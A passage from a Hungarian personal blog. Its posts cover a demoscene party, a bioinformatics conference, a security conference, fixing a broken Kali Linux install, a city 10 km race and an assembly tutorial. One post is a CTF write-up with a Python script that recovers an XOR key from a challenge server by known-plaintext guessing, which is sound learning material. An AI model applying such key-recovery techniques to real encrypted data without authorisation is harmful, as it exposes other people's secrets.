Mivel összesen hét renderelést hajtunk végre, célszerű a cubemap fázisoknál egyszerűsítéseket végezni, hogy csökkentsük a felhasználni kívánt erőforrásokat. Például ha tükröződő felületeket akarunk készíteni (jellemzően egy játékban például az autóra), akkor az autót, ami a legnagyobb poligonszámú, nem rajzoljuk ki, csak a környezetet. A távolságot is kisebbre vehetjük. De ha az autós példánál maradunk, akkor "lefelé" nem muszáj renderelni, mert az alváz nem sok krómot tartalmaz :-). Minden az adott felhasználástól függ.

Szólj hozzá!

Címkék: demoscene opengl

Experience 2024

2024.12.01. 19:26 Travis.CG

Elmentem az idei Experience-re. Több blokkban demókat vetítettek, a végén pedig egy mini compó is volt. Az első blokkban külföldi PC demókat és intrókat vetítettek. A legtöbb már ismerős volt számomra, de így is akadt olyan, ami valami miatt elkerülte a figyelmemet. Mivel győztes alkotásokról volt szó, ezért nem okozott gondot többedszer is megnézni őket.

A második blokkban magyar scenerek mutatták be, hogyan készítik produkcióikat. Tifeco 4k intrót épített fel. Jó volt látni, hogy egyszerű effektek kombinálásából milyen látványos eredményt lehet elérni. Nyaki eszköze egy CSG alapú modellező. A módszert használva jégkrémet készített, majd a paraméterek változtatásával elolvasztotta azt. Végül Jimmi mutatta be a Bitangot, ami a shader változókat grafikus csúszkaként jeleníti meg és lehetőség van animálni is ezeket a paramétereket. BoyC betegség miatt nem tudott megjelenni.

Rövid szünet után Visage mutatott négy C64 demót, majd Charlie négy másik platformra készített alkotást. Mivel a retro gépek esetén nem vagyok annyira napra kész, ezért a legtöbb entry az újdonság erejével hatott. A The Demo Coder pedig akár egy új mantrával is felé. Talán igazságtalanság a többi releas-el szemben, de ezt ide is belinkelem. Mert demó kóder vagyok.

Ezután jött a verseny. Kaszi és elnyűhetetlen Hilbert görgéi voltak az egyetlen oldskool indulók. Tomcat 512 byte intróval jelentkezett. Több elméletem is van, hogy miről is akart szólni, de egyikben sem vagyok biztos.

Feryx QBParty invitáció-szerűséget készített. Azért csak szerűség, mert azon kívül, hogy szeptemberben lesz, igazából semmilyen információt nem tudunk meg. A zene gyanúsan AI csengést mutatott, amit Feryx meg is erősített. Elmondása szerint macskák után takarított, amikor kipattant a demó ötlete a fejéből, és hatalmas megkönnyebbülést okozott neki, hogy a gusztustalan munka után elkészíthette demóját. Nos, tényleg könnyebben elfogadható alkotás volt, mint a tavalyi.

Kaptunk a Transistor core-tól egy saját engine fejlesztéséből is egy techdemót, aminek találóan a neve is Techdemo volt. Végezetül a parti győztes Netro egy jókedélyű, kicsit vicces felütéssel kezdte demóját, csak hogy a végére az öngyilkosság témáját hozza fel. Party utáni beszélgetés során tudtam meg, hoy a demót személyes tragédia inspirálta, és egyfajta válaszkeresésként született, hogy mi vezethet egy ilyen döntéshez. De akkor is mondtam, hogy racionális módon nem lehet megérteni egy irracionális döntést. Ettől függetlenül remek demó, mert túlmutat önmagán.

Szólj hozzá!

Címkék: demoscene

Bioinformatika 2024

2024.11.24. 20:24 Travis.CG

Az idei bioinformatikai konferencia számomra olyan volt, mint egy érettségi találkozó. A volt kollégáim 70%-a jelen volt. Külföldről, nyugdíjból jöttek el, hogy itt lehessenek. A másik jó dolog az volt, hogy többségében PhD hallgatók adtak elő, így nem éreztem azt, hogy haldoklik a bioinformatika. A szervezés a magyar konferenciáknál megszokott "batyús bál" mintát követte. Ismerve a Magyar Bioinformatikai Társaság éves bevételét, azt kell mondjam, hogy csoda, hogy volt kávé. Szóval a szervezők tényleg a maximumot hozták ki a lehetőségekből.

De a sok kesergés helyett lássuk inkább az előadásokat, amik tényleg nagyon színvonalasak és változatosak voltak. Az utóbbi évek konferenciáin az előadók, mintha mind ugyan azt csinálták volna. Mikor Covid volt, mindenki vírusokkal foglalkozott. Mikor berobbant az AlphaFold, mindenki azt szapulta, mert nem találja meg a rendezetlen fehérjéket. Tavaly pedig mindenki MI szakértő volt. Úgy tűnik végre nincs több divathullám és valódi problémákra lehetett koncentrálni. Az előadásokról további információ itt érhető el.

Gerber Dániel: Bioinformatikai alkalmazások és kihívások az archeogenomikában

Az archeogenomikában több ezer éves DNS mintákkal dolgoznak. Jellemző, hogy ezek a minták töredezettek és kémiailag módosultak. Elsősorban populációgenetikai vizsgálatok dominálnak. Mivel az adatok hiányosak, ezért imputálásra támaszkodnak.

Bálint Balázs: Annotált genomok szennyeződéseinek érzékeny kimutatása és eltávolítása a ContScout programmal

A feltöltött genomok nagy része szennyeződés, ami befolyásolja az elemzést. Az eddigi programok alapvetően adatbázisokat használnak, de a ContScout fehérje alapon működik. A tesztek alapján horizontális géntranszfer esetén rosszabb eredményt ad.

Ari Eszter: mulea - egy többféle ontológiát és empirikus FDR-t alkalmazó dúsulást vizsgáló R csomag

Ontológiai elemzéseknél a többszörös tesztkorrekció ellenére is sok fals eredmény van, mert az ismert statisztikai módszerek függetlennek tételezik fel a teszteket. Egy fa struktúrába rendezett ontológia elemei viszont nem függetlenek. A mulea empirikus FDR-t használ, új mintavételezést végez, ezért számításigényes a futtatása.

Hegedűs Dániel és Juhász Márk Hunor: Filogenetikai fák metszése

Filogenetikai elemzéseknél a fel nem ismert hibák hosszú ágakat eredményezhetnek a törzsfákban. Az utólagos metszéssel jó eredményeket kaphatunk. Az eddigi programok nem végeznek jó munkát, és nehezen használhatóak, a csoport ezért egy új programot fejlesztett, ami nagyjából kör alakúra vágja a fákat. Jelen pillanatban az outgroup-ot még nem kezeli jól.

Juhász Judit: Nukleotid szekvenciák kontextusának vizsgálata pángenom és assembly gráfokban valószínűség alapú módszerekkel

Egy gráf jobban leírja a genomot, mint egy fasta fájl. Keresni viszont nagyon nehéz benne. A csoport egy hash alapú módszert dolgozott ki, ami egy minimizer alapú algoritmussal keres. Sokkal gyorsabb, mint a most létező megoldások, de még nincs teljesen kész.

Krizsán Dániel: Génexpresszió előrejelzése Escherichia coli baktériumban genomikai nyelvmodellek segítségével

A prokBERT nyelvi modellt használták, amit korábban mutattak be. Most expressziós adatokkal finomhangolták, hogy előrejelezzék az egyes gének kifejeződését. Sajnos még elég kis korrelációt mutat valódi expressziós adatokkal.

Nagy Ádám: Agyhullámok és Mentális Zavarok: A Legkorábbi Jelek Feltárása

Skizotípia és bipolaritás agyi képének elkülönítésére akartak tanulóalgoritmust trenírozni. Egyetemistákat használtak, akiket kérdőívek alapján egyik vagy másik csoportba soroltak. Ezután EEG-t, szemmozgást és más jeleket rögzítettek, hogy biomarkereket azonosíthassanak és modell magyarázó metrikákat számoltak.

Pogány Domonkos: Metabolit-betegség asszociációk becslése hiperbolikus terekben

A hiperbolikus terek jellemzője, hogy sok párhuzamos egyenes mehet át egy ponton, a térfogat pedig exponenciálisan növekszik. Emiatt skálafüggetlen hálózatok beágyazására alkalmasak. A csoport MDA hálózatok sekély beágyazását végezték hiberbolikus térbe, mert itt kisebb dimenzió is elég a kapcsolatok leírására. Az előadás legérdekesebb része mégis az volt, mikor az előadó azon filozofált, hogy miért látjuk a metabolit hálózatokat skálafüggetlennek? Azért, mert ilyen a hálózatok jellege, vagy azért, mert a kutatók az eredményeiket már ismert metabolitokhoz kapcsolják?

Stippinger Marcell: Jellemzők terének szűrése utranagy dimenziójú többosztályos adatokon

A bonyolultnak tűnő cím abból a kutatásból eredt, hogy egy cég felkérésére az aláírások hitelességét akarták meghatározni, amit egy idősoros adatként kezeltek. A probléma ott kezdődött, hogy nem tudták, milyen jellemzők lehetnek fontosak, például egy tanítási algoritmusnak. Ezért a meglévő adatok alapján jellemzőket generáltak számítógéppel. A gond az, hogy egyes jellemzők nem triviális korrelációkat tartalmazhatnak, ami egy elemzésnél elkerülheti a kutató figyelmét. A generált adatokat megpróbálták szűrni, amihez véletlen erdőket használtak. Az eredmének jók lettek.

Zsichla Levente: Nyílt forráskódú vírusgenom-összeszerelő pipeline-ok összehasonlító elemzése

Azt vizsgálták, hogy az egyes genom összeszerelő pipeline-ok mennyire jók HIV vírus esetén. Az összeszerelés minőségét Sanger-szekvenálással, gold standard genomokkal és in silico szimulációkkal mérték. A Shiver és a Smalt Align volt a legjobb.

Csendes Gerold: Poszt-perturbációs génexpressziót prediktáló gépi tanulási modellek kiértékelése

Ha a gépi tanulásban jó értékeket kapunk, még nem jelenti azt, hogy biológiailag is hasznos, amit az algoritmus megtanult. Különböző torzító tényezők miatt félremehet a tanulási folyamat. A baseline-ok megléte ezért nagyon fontos. Az előadás végén mégis arról beszélt az előadó, hogy ha nem jó egy modell, még nem használhatatlan.

Weber Áron: Hogyan fedez fel egy sejtszimuláció új fehérjekomplexeket?

A fehérjekomplexek azonosításában több stratégia létezik. A struktúra alapú módszernél azt vizsgálják, hogy a fehérjék képesek-e összeállni. Hálózat alapú módszeren alapul az MCL és a huMAP. Végül van a Cytocast Digital Twin Cell, ami egy szimuláció alapú megközelítést használ. Az előadás ezt mutatta be. A program proteomikai méréseken alapul. A kötési információkból gráfot képez, ahol a Google PageRank algoritmusát használják, hogy megállapítsák, melyik él a fontos.

Bruncsis Bence: Új szimulációs keretrendszer multivalens fehérjék és membránfehérjék közötti kötődés vizsgálatára

Egyes fehérjék kapcsolódásánál nem két, hanem több tag is részt vesz. Az ilyen, multivalens fehérjék esetén nem működnek a két tagra kihegyezett módszerek, ezért új kötési kinetikát és differenciál egyenleteket kell használni, hogy sikeresen leírják ezeket a rendszereket.

Kálmán Zsófia: Kölcsönhatások elemzése a PSD-ben: a GKAP-LC8 példája

A posztszinaptikus denzitás (PSD) fontos az olyan idegrendszeri megbetegedésekben, mint amilyen az Alzheimer is. A legfontosabb PSD-k bináris kölcsönhatását vizsgálták. Ezek közül az egyik az GKAP-LC8. Ez egy hexamer kapcsolat 4:2 stöchiometriával. Flexibilis kapcsolatot jön létre közöttük, amiben az LC8 kötőrégió hossza konzervált. Habár a komplex tagjai Drosophilában is megtalálhatóak, ott nincs közöttük kötés.

Tóth Adrienn Gréta: Klinikai megfontolások az antimikrobiális rezisztenciapotenciálhoz

Az antimikrobiális rezisztencia egy égető probléma. Sajnos a klinikumban, amikor antibiotikum használata mellett döntenek, akkor egy táptalajon felnövesztett törzsek telepmorfológiáját veszik alapul, ahol az antibiotikum kiválasztásánál szubjektív tényezők is szerepet kapnak. Ezzel a módszerrel sok információ elveszik. A csoport egy szekvenáláson alapuló módszert javasol, ahol genotípus alapján, metagenomikai módszerekkel rezisztencia géneket azonosítanának, és ez lenne az antibiotikum kezelés alapja.

Nagy Sára: Metagenomikai bepillantás egy gabonamúmiába

Emberi múmiákról mindenki hallott. De gabonákat is eltettek az Egyiptomiak. Egy ilyen gabonából vettek DNS-t, és azt vizsgálták. Találtak ember, selyemlepke, búza, prokarióta, nyárfa DNS-t. Sok szennyeződés volt a mintában, mert például fekete nyár nagyon ritka Egyiptomban, a selyemlepkére pedig kiviteli tilalom volt ebben az időben. Az emberi DNS viszont szubszaharai, valószínű, hogy hisztorikus.

Stirling Tamás: Genomi monitoring és fágterápia összekapcsolása az antibiotikum-rezisztens kórokozók elleni küzdelemben

A fágterápia hasznos lehet az antibiotikumok kiváltására, hátrányuk, hogy szűk hatásspektrumúak és gyorsabban adaptálódnak ellene a baktériumok, mint az antibiotikum ellen. A csoport adatbázisokból, környezeti mintákból rengeteg fágszekvenciát gyűjtött és azt nézték, miként változik a fágok genomja. Azt találták, hogy a fágok helyben terjednek, 6 éves távban nem mozdulnak, ezért hatékonyak lehetnek baktériumok ellen. A vizsgálatok alapján négy fágból álló koktél hatákonyan veszi fel a küzdelmet.

Buza Krisztián: Továbbfejlesztett ROCKET algoritmus tónusos-klónusos epilepsziás rohamok felismerésére

Az epilepsziás rohamokat idősoros gyorsulásmérő adatok alapján szerették volna előre jelezni. A fejlesztés során dinamikus konvolúciót építettek az algoritmusba. Először 10 ezer random konvolúciós mátrixot használtak, amit kétféle pooling alapján összegeztek. Az így kapott 20 ezer feature készletet logisztikus regresszióval vagy ridge regresszióval vizsgálták. Azt találták, hogy a nearest neighbour klaszterezéssel kapták a legjobb adatokat. Az algoritmus itt található.

Szatmári Zita Eszter: A sport hatása a biológiai életkor változására

Hetvenöt 50 és 70 év közötti ember öregedési óráját vizsgálták egy hosszabb edzés időszak előtt és után. Vérből izolált markereket használtak, többféle öregedési órát is néztek. Egyes órák esetben voltak szignifikáns különbségek, más esetben nem. Az előadó szerint az öregedés lassult edzés hatására. Nők esetén nem láttak olyan sok szignifikáns eredményt, mint férfiak esetén.

Kerepesi Csaba: A legújabb öregedés órák és érdekes alkalmazásaik

Az előadás a csoport eddigi publikációinak bemutatása volt. Tömören ezek a következők voltak: Fénykép alapján is meg tudták saccolni, milyen sebességű a biológiai órája valakinek. A sportolók tovább élnek, az olimpikonok meg még tovább (bár itt a hallgatóságból megjegyezték, hogy csak az élő sportolókat/olimpikonokat vizsgálták, tehát nem lehet általánosan kijelenteni, hogy a versenysport mindenkinek jó). Az akadémikusok pedig hamarabb halnak. Akinek magas a testzsír százaléka, az szintén gyorsabban öregszik. A gyulladást indukáló baktériumok jelenléte is a hosszú élet ellen dolgozik. Végezetül az egyes szervek nem ugyan olyan mértékben öregednek.

Nagy Gergely: A makrofág promóterek összetételének vizsgálata

A transzkripciós faktorok határozzák meg a sejttípust, de van olyan transzkripciós faktor is, ami egy egész sejtvonalat meghatározhat. Az elérhető nyilvános adatokból egy aggregált cisztront hoztak létre, amin belül az ETS és bZIP családokat néztek. A promótereket kategóriákba helyezték, így volt csak proximális elemeket tartalmazó csoport, csak disztális elemeket gyűjtő csoport, végül egy vegyes. Ez utóbbi csoportba tartozó promóterekhez rendelhető gének mutatták a legmagasabb expressziót. A promóterek CG tartalma meghatározza a cisz szabályozó elemek állapotát.

Szólj hozzá!

Címkék: bioinformatika

Hacktivity 2024

2024.11.02. 09:09 Travis.CG

A BSides után nem volt kétséges, hogy a Haktivity-re is elmegyek. Ez egy nagyobb szabású rendezvény volt, négy teremben folytak párhuzamosan a szemináriumok és workshop-ok. Egy külön teremben pedig valami hackerspace is volt.

A kiállítók között nem volt olyan, aki most érdekelt volna. Egyedül az ISACA-hoz mentem oda. Ők kurzusokat hirdettek, azt hittem lesz közöttük olyan, ami számomra érdekes lehet. Hamar kiderült viszont, hogy inkább vezetőket képeznek, nem technikai szakembereket. Például van auditor képzésük is, de mikor megkérdeztem, mit is csinál egy auditor napi szinten, csak annyit válaszoltak, hogy kérdezzem meg e-mailben. Túl sok hasznos információt nem kaptam, de elhoztam egy prospektust az aktuális piaci körképről. Rögtön találtam is benne egy hibás statisztikai elemzést :-).

Az előadások, amire beültem, elég gyengék voltak. Mármint nem a szinvonal, hanem az előadói képességek hiánya miatt. Például érdekelt volna az autó hackelés, de az előadó beszélt a Pythonról, Scratch-ről, egy kicsit a CAN Bus-ról, de hogy ezek hogyan kapcsolódnak, arra már nem jutott idő. A háromnegyed órás előadás során csak egy dián voltak autók! Gondoltam, majd a workshop-on, amit szintén tartott, majd ezekre a hiányosságokra fog fókuszálni. Ott újra levetítette az előadást. Ennél a lépésnél feladtam. Egyébként sem vittem laptopot, a gyakorlatot nem tudtam volna végigvinni, úgyhogy kimentem.

Apropó workshopok. Elméletileg csak úgy lehetett bemenni a workshopokra, ha előzetesen arra regisztráltak. De az többeknek (köztük nekem is) nem volt tiszta, mégis hol? Ott állt egy csomó tanácstalan ember, akiket érdekelt volna egy téma, csak nem tudták, mit tegyenek. Szerencsére az oktatók elég rugalmasak voltak, és nem néztek jelenléti ívet.

Meghallgattam még egy érdekes előadást, ahol a Spanyolország egyik városában a választások előtt utalványokat osztogattak. Ehhez gyorsan összedobtak egy weboldalt, ahol igényelni lehetett ezt. Sajnos a biztonságra már nem ügyeltek, ezért bárki nevében ki lehetett tölteni az űrlapot és le lehetett tölteni az utalványokat. Az előadó vért izzadt a hivatalos úttal, ahol jelentette a hibákat. Végül a rendszert nem javították, csak annyit tettek, hogy a kuponok beváltásához személyit is kértek. Csak azért írtam le ezt, hogy lássuk, máshol sem fenékig tejfel az élet.

Megnéztem a hackerspace-t is. Egy rakás zár, lakat volt szétdobálva, azokat lehetett nyitogatni. Elkezdtem próbálgatni őket, de egyiket sem tudtam kinyitni. Némelyik láthatóan sérült volt, egyes zárakat például kettéfűrészeltek, talán, hogy könnyebben lehessen kinyitni. Aztán választottam egy számzáras lakatot, ahol egy kis papíron még a kombináció is rajta volt. Azt sem tudtam kinyitni. Ekkora antitálentum vagyok.

Szakmailag jobb volt, mint a BSides, de számomra sokkal unalmasabb volt. Egyrészt a gyakorlatlan előadók miatt, másrészt az én készületlenségem miatt.

Szólj hozzá!

Címkék: biztonság

Megnyekkent a Kali

2024.10.29. 09:16 Travis.CG

A CTF-eket VPN-en keresztül szoktam megoldani, de egyik napról a másikra történt valami, amitől TLS hibára hivatkozva nem jött létre a kapcsolat. Első körben kértem új tanúsítványt, de azzal sem ment. Mivel már régóta nem frissítettem a Kali Linuxomat, gondoltam hátha az a probléma, hogy az OpenVPN elvault. Ha már frissítünk, frissítsünk komolyan, ezért az egész disztribúciót update-eltem.

A frissítés után eltűnt a hátterem, az ablakok dekorációja, a panelre nem lehetett klikkelni. A grafikus felület használhatatlanná vált. A neten találtam egy leírást, hogy indítsam el a fvwm4 --replace-t, és minden jó lesz.

Megtettem. Megjelent a háttér, az ikonok, de nem volt panel. Jobb egérgombra megjelent valami menü, amivel egy terminált azért tudtam indítani. Egy másik megoldás az volt, hogy töröljem a .local-t, a .cache-t és a .config-ot és indítsam újra. Ezt is megtettem. Újraindítás után minden megjelent, ami kellett.

Hurrá! Örültem. Munka után kikapcsoltam a gépet, másnap pedig indítás után jött a meglepetés. Az ablak dekorációk megint eltűntek. Ismét töröltem a kérdéses könyvtárakat, újraindítás után megint volt minden. De a következő újraindítás után kezdhettem elölről a folyamatot.

Pár nap után kezdtem megelégelni a dolgot. Különösen, hogy az OpenVPN továbbra sem működött, de most legalább a grafikus felület is rendetlenkedett. Úgy döntöttem, itt az ideje fixálni.

Elsőre az jutott az eszembe, hogy áttérhetnék Gnome-ra az fvwm helyett. A apt install kali-desktop-gnome azt hittem segíteni fog, de képtelen volt települni, mert nem tudta installálni a qt5ct-t. Megvontam a vállam, és kiadtam a végzetes sudo apt install qt5ct parancsot.

Annak ellenére, hogy ez egy telepítési parancs volt, valami ismeretlen okból 6Gb adatot törölt a gépemről, mondván, hogy arra már nincs szükség. A programok között volt a Metasploit, a Jupyter Notebook, millió Python csomag, de még az OpenOffice is. Utána viszont települt a Gnome.

Csak nem indult el. Elég jól álltam: nem ment a VPN, nem működött a Gnome, az fvwm, és még az eszközök nagy része is eltűnt. Oké, a Gnome nem megoldás. Eltávolítottam, de a grafikus környezet beállításai között továbbra is a Gnome volt az alapértelmezett, ezért grafikus felület megint nem indult el.

Kimentem parancssorba, majd a sudo update-alternatives --config x-session-manager paranccsal beállítottam, hogy ne az eltávolított Gnome-ot akarja betölteni. Visszakaptam a hibás fvwm rendszeremet. Ebben az állapotban már ennek is örültem.

Hanem észrevettem egy másik anomáliát is. A YouTube videók akadozva mentek. Lehet, hogy nincs hardveres gyorsítás? Egyre inkább úgy tűnt, hogy a netes megoldások nem segítenek, ezért azt tettem, amit először is tennem kellett volna: túrni kezdtem a logokat.

Az első hasznos nyom az .xsession-errors fájlban volt. Csak egy apró figyelmeztetés formájában, hogy nem tudja betölteni a Mesa GLX drivert. Még csak nem is hiba volt, de arra gondoltam, egy driver hiánya azért elég komoly dolognak kellene lennie.

Elkezdtem listázni a Mesa csomagokat, amikor is feltűnt, hogy a libglapi-mesa csomagból nem a legfrissebb van fent. Az apt update ezt valami miatt nem frissítette. Feltettem a csomagot, és működött a grafikus felület. Megvoltak a dekorációk, a háttérkép és a panel is. Még újraindítás után is megmaradt.

Oké, visszakaptam a rendszeremet, de a TryHackMe VPN még mindig nem megy. A böngészős AttackBox működött, de azt nem szeretem. Összesen 4 EU-s szerverük van, úgyhogy elkezdtem minden szerverre kulcsot kérni. A harmadiknál már csatlakozni is tudtam. Működött minden. Csak a letörölt csomagokat kell pótolni...

Szólj hozzá!

Címkék: rendszergazda

Fut a tata

2024.10.17. 10:22 Travis.CG

A futásban már stabilan megy a 10km, úgyhogy elkezdett érdekelni, mégis mennyire vagyok jó. Ha az ember egyedül rója a köröket egy szántóföldön, egy órával, ami elcsalja a métereket, nem sok visszajelzése van, hogy mégis mire képes.

Úgyhogy jelentkeztem a Budapest Marathonra, ahol a sok táv között volt 10km-es is. Meg kellett adni egy szintidőt is, ami az eddigi méréseim alapján 1 óra 10 perc volt. Be is soroltak az utolsó turnusba, ahol a leglassabb futókat indítják. Ez kicsit letörte a lelkesedésemet, de egyuttal minden elvárást is kiölt belőlem. Azt is írták, hogy akit utólér egy busz, annak a verseny véget ér. Így már nem is versenynek nézett ki számomra az esemény, hanem egy menekülésnek. Menekülésnek a söprögető busz elől. Az edzések során ezért igyekeztem a gyorsaságot növelni, hogy nehogy a végén a buszon végződjön a kaland.

A rajtszámot egy nappal előbb vettem fel. Mint kiderült, kellett volna vinnem a visszaigazoló emailt is, amit én természetesen elmulasztottam. Jól le is szúrtak miatta, de azért néhány ellenőrző kérdés után megkaptam mindent, mert az összes részletre emlékeztem.

A rajtszámon egy RFID chip is volt, de a Flipper nem tudta olvasni, mert nem 125KHz-en működött.

Korán lefeküdtem aludni, hogy legyen elég energiám és mivel nem volt semmi veszteni valóm, jól is aludtam. Annyira jól, hogy elaludtam. Rögtön eszembe jutott egy régi filmparódia, ahol a főszereplő vadászpilóta felkel, kinéz az ablakon, majd megjegyzi: Lekéstem a bevetést!

Rohantam a vonatra, az átszállásokra. Persze a vonat is késett, ha nem is sokat. Húsz perccel a rajt előtt megérkezdtem. Mekkora tömeg volt! Mindenki futóiskolázott, bemelegített, én meg nem tudtam hol kell gatyát cserélni. Bementem az ELTE egyik épületébe, ahol a kiírás szerint lehetett öltözni. Az épületen belül nem volt semmi jelzés, hogy ott mégis merre kell menni. Járkáltak ott össze-vissza. Megkérdeztem egy embert, hol lehet átöltözni, aki a csarnok közepére mutatott, hogy ott.

A mosdók előtt kilóméteres sorok álltak. Szerencsére már jártam itt még TDK-s koromban, úgyhogy tudtam hol találok még WC-t, amit kevesen nem használtak. Már csak 10 perc volt rajtig. Rohantam, hogy még le tudjam rakni a ruhatárba a csomagomat, persze azt sem találtam. Szerencsére információ volt minden stratégiai fontosságú ponton. Természetesen az értékmegőrzőt is eltévesztettem, mert abból is több fajta volt, de a szervezők is látták, hogy közel a rajt, úgyhogy megkönyörültek rajtam és átvették a csomagot. Még bedobtam két szőlőcukrot, majd két perccel a rajt előtt beálltam a futók közé. Majd futás közben bemelegedek.

A turnusokat késleltetve indították, úgyhogy számomra a rajt után még legalább 10 percig nem történt semmi, csak araszoltunk a rajt felé. Aztán elindultunk. Akkor már láttam, hogy nem jó csoportban vagyok. Az első három kilóméter azzal telt, hogy kerülgettem az embereket. Megelőztem Szuper Máriót és Luigit, egy csigának öltözött nőt és céges futócsapatokat.

Amin meglepődtem, hogy mennyien szurkoltak vad idegen embereknek. Kijöttek és mást sem csináltak, csak buzdítottak minden futót. Volt, aki kolomppal, kereplővel segített. Egyes helyeken pedig zenekarok játszottak.

Három és fél kilóméternél jött az első frissítőállomás. Hamar rájöttem, hogy futás közben nem tudok inni, ha megállok, akkor meg időt veszítek. Végül is edzés közben sem szoktam inni, nagy meleg sem volt, ezért a többi frissítőt kihagytam. Legyen jó eredményünk.

Nagyjából az ötödik kilóméternél voltam a tempómnak megfelelő szakaszban. Addigra már lehagytam a turnus iramfutóit is. Ez már kényelmes volt, tudtam tartani a tempómat. Nem kellett kerülgetni az embereket, senkit nem tartottam fel. Viszont kezdett fogyni a levegőm is.

Másoknak nem voltak ilyen problémáik. Még arra is volt energiájuk, hogy szelfizzenek. Egy pár is futott, ahol a nő még kis hátizsákot is cipelt, amiből a fickó menet közben kis is vett valamit. Anyukák babakocsival futottak. Sőt, láttam egy háromgyerekes családot is, ahol az apa egy gyereket tolt, az anya meg az ikreket. (Miért mindig a nők futottak nagyobb teherrel?) Én meg majd megdöglöttem.

Az órám mindig fél kilóméterrel korábban jelzett, mint a táblák, ezért nem is adtam sokat az óra információira, csak az időt néztem. Úgy tűnt hat percen belül teszek meg egy kilómétert. Akkor lesz rekord!

Az utolsó kilómétert megnyomtam. Lihegtem, fújtattam, mint egy gőzgép. A mozgásom is kezdett szétesni, de akkor már nem érdekelt. Próbáltam hosszúakat lépni és amennyire lehet, egyenletesen lélegezni. A célt 1 óra 5 perc után értem el, de az ugye az első turnus indulásától számított idő. Az időm végül 56:43 perc volt, ami király. Nem gondoltam volna, hogy egy órán belül leszek. Aztán már terelték is ki az embereket. Adtak egy kis reklámcsomagot, banánt, amit azonnal befaltam.

Kerestem egy viszonylag üres területet, majd lenyújtottam. Utána már a pulzusom is helyre állt. Kicsit még körbenéztem. Rengeteg kiállító volt, akik mindenféle futással kapcsolatos dolgot árultak, talpat mértek (szigorúan számítogéppel. Kíváncsi vagyok mikor lesz AI talpvizsgálat). Zsibvásári hangulat volt, amit hamar meguntam.

Az eredmény értékelése csak ez után következett. Először is meg kellett szerezni az adatokat. Ennek majd szentelek egy teljes bejegyzést, most csak legyen elég annyi, hogy JSON-ban az összes futó adata letölthető, ha az ember tud szkripteket írni.

A JSON adatokat összefűztem, CSV-be konvertáltam, majd beolvastam R-be. Az idő adatokat percbe konvertáltam, majd készítettem egy denzitás görbét, nőkre és férfiakra. A szaggatott vonallal bejelöltem a saját időeredményemet.

runtime.png

Anélkül, hogy komolyabb statisztikai elemzést végeznék, ránézésre azt mondhatjuk, hogy ez egy teljesen átlagos férfi eredmény.

Szólj hozzá!

Címkék: sport

W1seguy CTF

2024.10.06. 19:58 Travis.CG

Ez most egy kriptográfiai kihívás volt. Kriptográfiában nem vagyok jártas, de ezt a feladatot meg tudtam csinálni. Először kapunk egy forráskódot. Ez egy szerver, ami az egyik változójában tartalmaz egy flag-et (a forráskód nem tartalmazza az éles szerver flag-jét, azt majd nekünk kell kitalálni), előállít egy véletlen sztringet, XOR-al titkosítja a flag-et, majd kiírja a titkosított üzenetet.

Ezután megkérdezi, hogy mi volt a titkosítási kulcs. Ha eltaláljuk, kapunk egy második flag-et is. A szervert el is indíthatjuk, ami minden indításnál kiírja a titkosított üzenetet, majd kéri a kulcsot. Ha rosszat adunk meg, kilép.

Tehát első látásra lehetetlen a feladat, mert nem ismerjük sem a kulcsot, sem a nyers szöveget, csak a titkosított üzenetet. Nyers erővel sem törhetünk, mert csak egy lehetőségünk van, hogy a választ beírjuk. Kénytelenek leszünk gondolkodni.

Az XOR titkosításnak van egy érdekes tulajdonsága. Ha a titkosított szöveget ismét titkosítjuk ugyan azzal a kulccsal, akkor visszakapjuk a nyers szöveget. Ha viszont a titkosított szöveget az eredeti, nyers üzenettel titkosítjuk újra, akkor pedig a kulcsot kapjuk meg.

Milyen jó lenne ismerni az eredeti üzenetet! Igaz, az eredeti üzenetet nem ismerjük, de bizonyos tulajdonságairól van némi információnk. Például mindig "THM{"-el kezdődik. A forráskódból még az is tudjuk, hogy a kulcs 5 karakter hosszú.

Úgyhogy írtam egy programot, ami végigpróbálta milyen karakter állhat a "THM{" után. Titkosítottam vele a titkosított üzenetet, ezzel kaptam egy lehetséges kulcsot. A kulccsal ismét titkosítottam a titkosított üzenetet és reménykedtem, hogy felismerem majd, melyik lehet a jó megoldás (ugyanis a legtöbb flag nem random, hanem valami üzenet hacker stílusban). Íme a kód:

import string

def decode(hexinput, key):
   strinput = bytes.fromhex(hexinput).decode()
   xored = ""
   for i in range(0, len(strinput)):
      xored += chr(ord(strinput[i]) ^ ord(key[i%len(key)]))
   return xored

def doit():
   hex_encoded = input().strip()
   print("This XOR encoded text has flag 1: " + hex_encoded + "\n")

   for i in string.ascii_letters + string.digits:
      test = decode(hex_encoded, "THM{" + i)[0:5]
      out = decode(hex_encoded, test)
      if out[-1] == '}':
         print("Here is the result with the test", test, out)

doit()

Ahogy böngésztem az eredményeket, feltűnt valami. A jó megoldásnak az üzenet végét "}"-el kell lezárnia. Úgyhogy azt is beleírtam a programba, mint ellenőrzést. Elindítottam a szervert, ami kiírta a titkosított üzenetet. Azt kimásoltam, betettem a programomba, ami kiírta a kulcsot és az első flag-et. A kulcsot visszaírtam a szervernek, mire jutalmul megkaptam a második flag-et is.

Átnéztem, mások hogyan oldották meg, és akinek matematikus vénája van, az hamar rájött, hogy a titkos kulcs ötödik eleme mindig a záró kapcsos zárójelet fogja kódolni, mert a flag hossza 5 többszöröse. Tehát mindig csak egy jó megoldás lehet. Ez nekem nem esett le, de CTF-nek nagyon jó volt.

Szólj hozzá!

Címkék: biztonság

Tanuljunk assemblyt - kicsit máshogy 3. rész

2024.09.29. 19:24 Travis.CG

Kicsit megállt ez a sorozat, de nekem is fel kellett hoznom magam, hogy folytatni tudjam. A mostani részben megismerkedünk a számolással, elvégre a számítógép egy számító gép. (Pocsék poén achivement unlocked)

Kétféle módon számolhatunk. Az egyik módszerrel csak alapműveleteket végezhetünk egész számokon, a másikkal viszont a megnyílik előttünk a lebegőpontos számítás és a teljes matematikai függvénytár is. Jól hangzik nem? Kíváncsi vagyok, hogy a végére is ezt mondjátok-e.

Kezdjük az egyszerű módszerrel. Az egyszerű módszernél használhatjuk az általános célú regisztereket. Számolhatunk velük, de csak egész értékekkel dolgozhatunk. Összeadás:

mov ax, 3
add ax, 4

Az ax regiszterben az ax (3) és a 4 összege kerül, tehát hét. Olyan, mint a magasabb szintű programozási nyelvekben az x = x + 4. Szorzás:

mov bx, 4
mul bx

